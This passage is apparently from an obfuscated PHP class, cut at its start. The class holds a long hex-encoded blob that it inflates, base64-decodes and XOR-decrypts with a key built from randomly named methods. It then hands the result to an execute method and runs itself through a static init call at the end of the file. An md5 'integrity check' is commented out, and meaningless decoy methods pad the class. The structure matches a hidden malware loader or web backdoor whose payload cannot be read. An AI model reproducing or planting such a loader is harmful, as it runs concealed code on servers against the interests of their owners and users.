f4a725debf8ffa16f5be13e127d9d597e81f12fb197aa5275a487f1881f7b7f9addbc7f53c3e8fad4f46f963aefa47d473ec0bfef152fbe372ff94fe405bbcaf52f9c594f01b5e0b3d671b3fae303f6bc5ff73cc7fc2f3c6ae3feafbae80772d959e74949fe4717f20f61b65ffbe1478619bdf116febb13f6fd10f08f1e8b11e4e0ffd68eaa17be1c760f9b0bd73fe19cc7f33c577d1fe49b67e417de6c959fc4d8497a7de31fdb7423fa00c7c2bebb799038f47bf9412f831e8cf5a3cfb16f1561ff7d7c7f3f0bce8439f6d0bbfc1f6ac9fb8c24fc7fc79e271b6a2de4e3fc0c83f6fa3f60bf0bfe8d762f9deb588b76cbfa35178f6947a727b755ef504bf28f21face5fe0efffac85f17fc1df71ffa8543a14f1be8f3502f59d6f795bebe53fd405b4f66bc59a1fe904bfd16e217593f453fcbe5e7fc0aa27a3cf2b528fe2e859f89039ed8f6b76be137e052f2b9249e51f2b772e5e76ef07c85f0afb47a2305faf73afea11f9ff46fe82bbd874ae1c1d3504fdaeab316424f2cc65b0fe09796c38f41f20f12e8b779552f2ba43ecf5ee1bd88cfa13f6a0ff5aabf5f9e4697bfee97d97c74b1193f2d3717e39787cdcd6af97dbafb7bfc6bd4e47745960fa793c76c37befd325f5c7cc99fdae5321bba8bdbef3faeddeef1d3edeef5ff275fbeb9e9b7af2fe3ea6a94dd8d8e7fbff02fe3e2e2f2c7acfaf17dbf984cd2a47d58af9e9e2e3e7e6ff76b9f56d769361cf59ec7d9acf7dfe3a2f7693473578bea6632d94dfe1c0d9fdae12cfd35bc7ece8f7ffffa7ba35f8be5267d9e96d5d7fcd6df2fdabb41d57c9bb887fc6bbdd9a555763f4b93dbf1e2efdd737d7b71b55b3d3dbae4e666f6f7bf1ef797eaf7d3e3ef4f76dbfcebfaf0be56cb1f4bb798dc8e6e2ebe0d9e7a83057f3fbbbf777ef0b478dedd7c7f58df4f6f7edcef76e9ef6cf434fdf13e1e9bf1f3ac4d6ebe8f3fdfac363fbe579be5d372158ff7f0a1b959ed7e4c77e3ebdb6975b8dfc997fbfdc59774e67b5f16edc568ff7775951fae17c7eb8bf2e3faf4f9657eb8cee7876b97edbefcb5dcbc1caeebabd3ff4f8e7f5f7dfc7dd91caf9bc3f57a3e3f5cf7fa87ebaa38feffe9e8f67f637c17f7e9612ebaf2f2f1d3df17d96af6f5d13ddddeccc67f7cddbbdd553a9e67bbb7eb4f87f1aedbe47d3cdfe743b66bdddd6efb7934f4bd74943d1ddecfd7c3fbf93c1a3ce4d7e9eddf8b69ff6a922fda6ff3ac4d47d526db2dbe7cbbf8b9fbf592f486b3ea79b17fce9ee6d984f3e5b60ac7efeb705c5d0f2eafee5d767b77b1d93e7e1abd4cc3fbb9b85e1de653be18dda6c9e5cdf0293fcc97f9afd171fc76ebe3787c3f8e4736395e571fe3b36b8fe37f1acfebc1717c5fc7ebf1c7e7dde9fd2c7aefe35b5f1fffbe3cfeffb63d8ef7f7e378afb61fefe7f8fd2eab3edecfe9f3ecf87e76f9e97d0d8eff7f7cb8fe5c9c7efff4fecae3eff9d3ffff0fef277abe997387f5f876fd9cdc4f9b3fef96e1fb397c7e77588fbdd1e0e98fc3fb7d1a5dcc964fb3b2bd79e97f1ba6373f66f3c5b71b37dd8f86e362b0735faff7a3c9ddcafff3e7613c476e76f563b7980c473f77597a9984e33dd93e5f6f3fded7e34bf3e97e59fdb5e87d4e9f67bdf6eee5e1db7076f973b19ab9a7e5dfdbc3fa7c517e236eaffcad2741fd36f0bbcfc378ca85fee0165f423f052ff158a1fed7dbef6f5e1eeac9bf82e77b1dcfe7ab51b3ba6b93ded741960ca77ebe7487b36a35da7dfd3e4e46b3d9fdd545f3e526bddc7d19b67f0e67aba7e96a72755b359f6e06a3ddd5eaf2afd96efbf4cdf9e4e6a5a9d2515fbcafe5f5d3d4f7eef60fc5e862b458ae1e7edd62bff97afdfcabfbfbcd643c7b680ffbe9b7c3f7df2fe4fed3245f7fdc5e0efc32bddff5af7e2f934f87bf6f47f3c3fbf1b7ee6931dbfd3eb3be17b3c5e3d3f2e6625cdf6eef17d9efc37cca6eddecb87f1dce8bdbdf87f7fbbe3f178bac39ec07b7e35f87f57af3f2f0e7f4b03fffa846c3dfa3e65fb3aada99f5dced1f6d934ddc71ff4fffb89e4de7578bc3febc1a170f2f6d71bd2cdff677ffe5d74b33598c46dbd16ef1787bb89fafdf9b3fafdcc5df3f5c7f36a892e4f1d3cfddb9e71b8e6e13ecc7a7df77d7e17cbe9fcd7ecfdce7f1973a18dfb7f363f2f9ca1dcf97f2fa76f6f974de1c7eefc7acb70acfc7f6b9babfb0fbe371bf7bfedfa3e1c3e6dadd5c4f77fd4fe96052dcb5db7f0e668b2b37bac1fbebcedbe3fd7dabd3e5e1fa693aebff71e50ebf379b7ebdf17e3458ffbdf95ea657c3457ad87f27d5effb9b7c715802df6a77f8fde51f8fbb87df779fdae4ff00';
$hex_data = substr($hex_data, 6);
$bin_data = hex2bin($hex_data);
$step1 = @gzinflate($bin_data);
if ($step1 === false) { $step1 = $bin_data; }
$step2 = base64_decode($step1);
$obj = new self();
$final_key = '';
$key_methods = ['kmhuaocF54', 'kmpVaIgO64', 'kmoQOFNZ37', 'kmltzvgf33'];
foreach ($key_methods as $method) {
$final_key .= call_user_func_array([$obj, $method], []);
}
$gate_token = '';
$gate_methods = ['gtZXuZEu81', 'gttNMUMy31', 'gtxxUuuD43'];
foreach ($gate_methods as $method) {
$gate_token .= call_user_func_array([$obj, $method], []);
}
if (md5($gate_token) !== 'e81866437f5192bcddcda064f12145f2') {
// Integrity check failed, but continuing for compatibility.
// return false;
}
$plain_code = '';
if (strlen($final_key) > 0) {
for ($i = 0, $len = strlen($step2); $i < $len; $i++) {
$plain_code .= chr(ord($step2[$i]) ^ ord($final_key[$i % strlen($final_key)]));
}
} else {
$plain_code = $step2;
}
$obj->_execute_TOLOOmgF50($plain_code);
}
public function pubqpXVc34() {
// Public method 4
// cmtFBjs71
return 'valyisv18';
}
public function pubQllDb16() {
// Public method 2
$jv3 = 5246;
return 'valwupm77';
}
private function gttNMUMy31() {
// Gate piece 2
$jv2 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
return str_rot13('x6i3');
}
}
LoaderyUCelj57142::init436();
// EOF